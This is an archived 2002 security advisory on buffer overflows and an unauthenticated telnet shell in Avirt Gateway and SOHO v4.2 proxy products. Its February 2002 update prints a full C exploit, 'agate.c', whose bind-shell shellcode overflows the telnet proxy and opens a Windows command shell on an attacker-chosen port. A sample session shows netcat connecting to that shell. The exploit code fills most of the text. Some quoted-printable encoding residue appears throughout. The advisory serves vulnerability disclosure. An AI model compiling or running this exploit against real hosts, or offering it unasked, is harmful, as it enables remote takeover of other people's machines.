18th Jan 2002 [SBWID-5008]
COMMAND
Avirt proxy and gateway suites holds buffer overflows and allows remote
access
SYSTEMS AFFECTED
Avirt SOHO v4.2
Avirt Gateway v4.2
Avirt Gateway Suite v4.2
PROBLEM
In Strumpf Noir Society advisory [http://labs.secureance.com] :
Buffer Overflow
===============
The problem appears to be due to incorrect bounds checking in regards
to the header fields for the standard HTTP proxy (port 8080 by
default). If these headers exceed the 2319 bytes in size, the
corresponding buffer will overflow.
Besides allowing for a DoS attack against a vulnerable system this
could be exploited to execute arbitrary code on the host, EIP IS
overwritten. These Avirt products run as a NT system service by
default.
Remote access
=============
The Avirt Gateway technology integrated in the Gateway Suite contains,
amongst others, a telnet proxy. Due to an error in the implementation
of this proxy inside the Gateway Suite however, the system on which it
is installed will be effectively turned into an insecure telnet server.
To exploit this flaw, an attacker would only have to telnet to the
telnet proxy (running on port 23 by default installation) and could
then browse the system\'s file structure using the \'dir\' and/or
\'ls\' commands. Typing \'dos\' after connecting to the target machine
would drop the attacker in a dos prompt. No authentication is required
except for using an ip-address which is in one of the proxy\'s allowed
ranges.
Update (14 February 2002)
======
Exploit code :
Avirt Gateway 4.2 remote buffer overflow: proof of concept
Release Date:
February 12, 2002
Systems tested:
Avirt Gateway v4.2 [build 4807] on Windows 2000, SP2
These products can be found at vendor Avirt\'s web site:
http://www.avirt.com
Description:
The telnet proxy of the Avirt Gateway v4.2 is vulnerable to a remotely=20
exploitable buffer overflow which allows execution of arbitrary code.=20
Entering a String of about 510bytes at the =84Ready>=93 prompt will=
overwrite EIP.
Exploit will bind a shell to a specified port on the attacked host.
Example:
bash-2.05$ agate 10.0.0.1 7007
Avirt Gateway 4.2 remote exploit by uid0x00 (uid0x00@haked.com)
initialising socket
...initialized
trying to connect
...connected
(waiting)
sending exploit
...sent
(waiting)
...closed
shell bound to port 7007
bash-2.05$ nc -v target 7007
target [10.0.0.1] 7007 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\\>
Exploit:
-----------------------------------cut---------------------------------------------------------
/* agate.c by uid0x00
* Avirt Gateway 4.2 remote exploit
* compile with gcc agate.c -o agate
*
* tested with win2k, sp2
*
* thx to ByteRage, exploit is based on his shellcode
*/
/* Set the following three defines according to the DLL we use */
// MSVCRT.DLL version 6.10.8924.0 (win2K)
#define LoadLibraryRefNEG \"\\x30\\xCF\\xFC\\x87\"
#define GetProcAddressRefADD \"\\xFC\"
#define newEIP \"\\x60\\x32\\xFA\\x74\" // Should JMP/CALL EBX
#include <stdio.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[]) {
int s;
struct sockaddr_in SockAdr;
char exploit[1024];
unsigned short int a_port;
char shellcode[] =3D
/* =3D=3D=3D=3D SHELLC0DE START =3D=3D=3D=3D */
/* shellcode based on ByteRage\'s 450byte code (thx for your help man!) */
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\xEB\\x06\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"
\"\\x90\\x90\\xEB\\x06\\x90\\x90\"newEIP\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\xE8\\xFF\\xFF\\xFF\\xFF\"
\"\\xC0\\x5E\\xAC\\x84\\xC0\\x75\\xFB\\x8B\\xFE\\x33\\xC9\\xB1\\xC1\\x4E\\x80\\x36\\x99\\xE2\\xFA\\xBB\"LoadLibraryRefNEG
\"\\xF7\\xDB\\x56\\xFF\\x13\\x95\\xAC\\x84\\xC0\\x75\\xFB\\x56\\x55\\xFF\\x53\"GetProcAddressRefADD\"\\xAB\\xAC\"
\"\\x84\\xC0\\x75\\xFB\\xAC\\x3C\\x21\\x74\\xE7\\x72\\x03\\x4E\\xEB\\xEB\\x33\\xED\\x55\\x6A\\x01\\x6A\\x02\\xFF\"
\"\\x57\\xE8\\x93\\x6A\\x10\\x56\\x53\\xFF\\x57\\xEC\\x6A\\x02\\x53\\xFF\\x57\\xF0\\x33\\xC0\\x57\\x50\\xB0\\x0C\"
\"\\xAB\\x58\\xAB\\x40\\xAB\\x5F\\x55\\x57\\x56\\xAD\\x56\\xFF\\x57\\xC0\\x55\\x57\\xAD\\x56\\xAD\\x56\\xFF\\x57\"
\"\\xC0\\xB0\\x44\\x89\\x07\\x57\\xFF\\x57\\xC4\\x8B\\x46\\xF4\\x89\\x47\\x3C\\x89\\x47\\x40\\xAD\\x89\\x47\\x38\"
\"\\x33\\xC0\\x89\\x47\\x30\\x66\\xB8\\x01\\x01\\x89\\x47\\x2C\\x57\\x57\\x55\\x55\\x55\\x6A\\x01\\x55\\x55\\x56\"
\"\\x55\\xFF\\x57\\xC8\\xFF\\x76\\xF0\\xFF\\x57\\xCC\\xFF\\x76\\xFC\\xFF\\x57\\xCC\\x55\\x55\\x53\\xFF\\x57\\xF4\"
\"\\x93\\x33\\xC0\\xB4\\x04\\x50\\x6A\\x40\\xFF\\x57\\xD4\\x96\\x6A\\x50\\xFF\\x57\\xE0\\x8B\\xCD\\xB5\\x04\\x55\"
\"\\x55\\x57\\x51\\x56\\xFF\\x77\\xAF\\xFF\\x57\\xD0\\x8B\\x0F\\xE3\\x18\\x55\\x57\\x51\\x56\\xFF\\x77\\xAF\\xFF\"
\"\\x57\\xDC\\x0B\\xC0\\x74\\x21\\x55\\xFF\\x37\\x56\\x53\\xFF\\x57\\xF8\\xEB\\xD0\\x33\\xC0\\x50\\xB4\\x04\\x50\"
\"\\x56\\x53\\xFF\\x57\\xFC\\x55\\x57\\x50\\x56\\xFF\\x77\\xB3\\xFF\\x57\\xD8\\xEB\\xB9\\xFF\\x57\\xE4\\xD2\\xDC\"
\"\\xCB\\xD7\\xDC\\xD5\\xAA\\xAB\\x99\\xDA\\xEB\\xFC\\xF8\\xED\\xFC\\xC9\\xF0\\xE9\\xFC\\x99\\xDE\\xFC\\xED\\xCA\"
\"\\xED\\xF8\\xEB\\xED\\xEC\\xE9\\xD0\\xF7\\xFF\\xF6\\xD8\\x99\\xDA\\xEB\\xFC\\xF8\\xED\\xFC\\xC9\\xEB\\xF6\\xFA\"
\"\\xFC\\xEA\\xEA\\xD8\\x99\\xDA\\xF5\\xF6\\xEA\\xFC\\xD1\\xF8\\xF7\\xFD\\xF5\\xFC\\x99\\xC9\\xFC\\xFC\\xF2\\xD7\"
\"\\xF8\\xF4\\xFC\\xFD\\xC9\\xF0\\xE9\\xFC\\x99\\xDE\\xF5\\xF6\\xFB\\xF8\\xF5\\xD8\\xF5\\xF5\\xF6\\xFA\\x99\\xCE\"
\"\\xEB\\xF0\\xED\\xFC\\xDF\\xF0\\xF5\\xFC\\x99\\xCB\\xFC\\xF8\\xFD\\xDF\\xF0\\xF5\\xFC\\x99\\xCA\\xF5\\xFC\\xFC\"
\"\\xE9\\x99\\xDC\\xE1\\xF0\\xED\\xC9\\xEB\\xF6\\xFA\\xFC\\xEA\\xEA\\x99\\xB8\\xCE\\xCA\\xD6\\xDA\\xD2\\xAA\\xAB\"
\"\\x99\\xEA\\xF6\\xFA\\xF2\\xFC\\xED\\x99\\xFB\\xF0\\xF7\\xFD\\x99\\xF5\\xF0\\xEA\\xED\\xFC\\xF7\\x99\\xF8\\xFA\"
\"\\xFA\\xFC\\xE9\\xED\\x99\\xEA\\xFC\\xF7\\xFD\\x99\\xEB\\xFC\\xFA\\xEF\\x99\\x99\\x9B\\x99\\x82\\xA1\\x99\\x99\"
\"\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\xFA\\xF4\\xFD\\x99\\x0D\\x0A\";
/* =3D=3D=3D=3D SHELLC0DE ENDS =3D=3D=3D=3D */
printf(\"\\nAvirt Gateway 4.2 remote exploit by uid0x00=20
(uid0x00@haked.com)\\n\\n\");
if(argc < 3) {
printf(\"usage:\\t%s <ip#> <port#>\\n\", argv[0]);
return 0;
}
//insert shell port
a_port =3D htons(atoi(argv[2]));
a_port^=3D 0x9999;
shellcode[964] =3D (a_port) & 0xff;
shellcode[965] =3D (a_port >> 8) & 0xff;
//init the exploit buffer
memset(&exploit, \'\\xCC\', 0x200);
memcpy(&exploit, &shellcode, sizeof(shellcode)-1);
printf(\"initialising socket\\n\");
s =3D socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (s) {
printf(\"...initialized\\n\");
memset(&SockAdr, 0, sizeof(SockAdr));
SockAdr.sin_addr.s_addr =3D inet_addr(argv[1]);
SockAdr.sin_family =3D AF_INET;
SockAdr.sin_port =3D htons(23);
printf(\"trying to connect\\n\");
if (!connect(s, (struct sockaddr *)&SockAdr, sizeof(SockAdr))) {
printf(\"...connected\\n\");
printf(\"(waiting)\\n\");
sleep(3);
printf(\"sending exploit\\n\");
send(s, exploit, sizeof(exploit), 0);
printf(\"...sent\\n\");
printf(\"(waiting)\\n\");
sleep(3);
printf(\"...closed\\nshell bound to port %s \\n\", argv[2]);
close(s);
}
else {
printf(\"... failed :( errno =3D %i\\n\", errno);
close(s);
return(0);
}
}
}
-----------------------------------cut---------------------------------------------------------
Disclaimer:
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user\'s own risk.
Copyright Information:
Permission is hereby granted for the redistribution of this paper
electronically. It is not to be edited in any way without express consent of
the author. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail uid0x00@haked.com for
permission.
uid0x00
EOF
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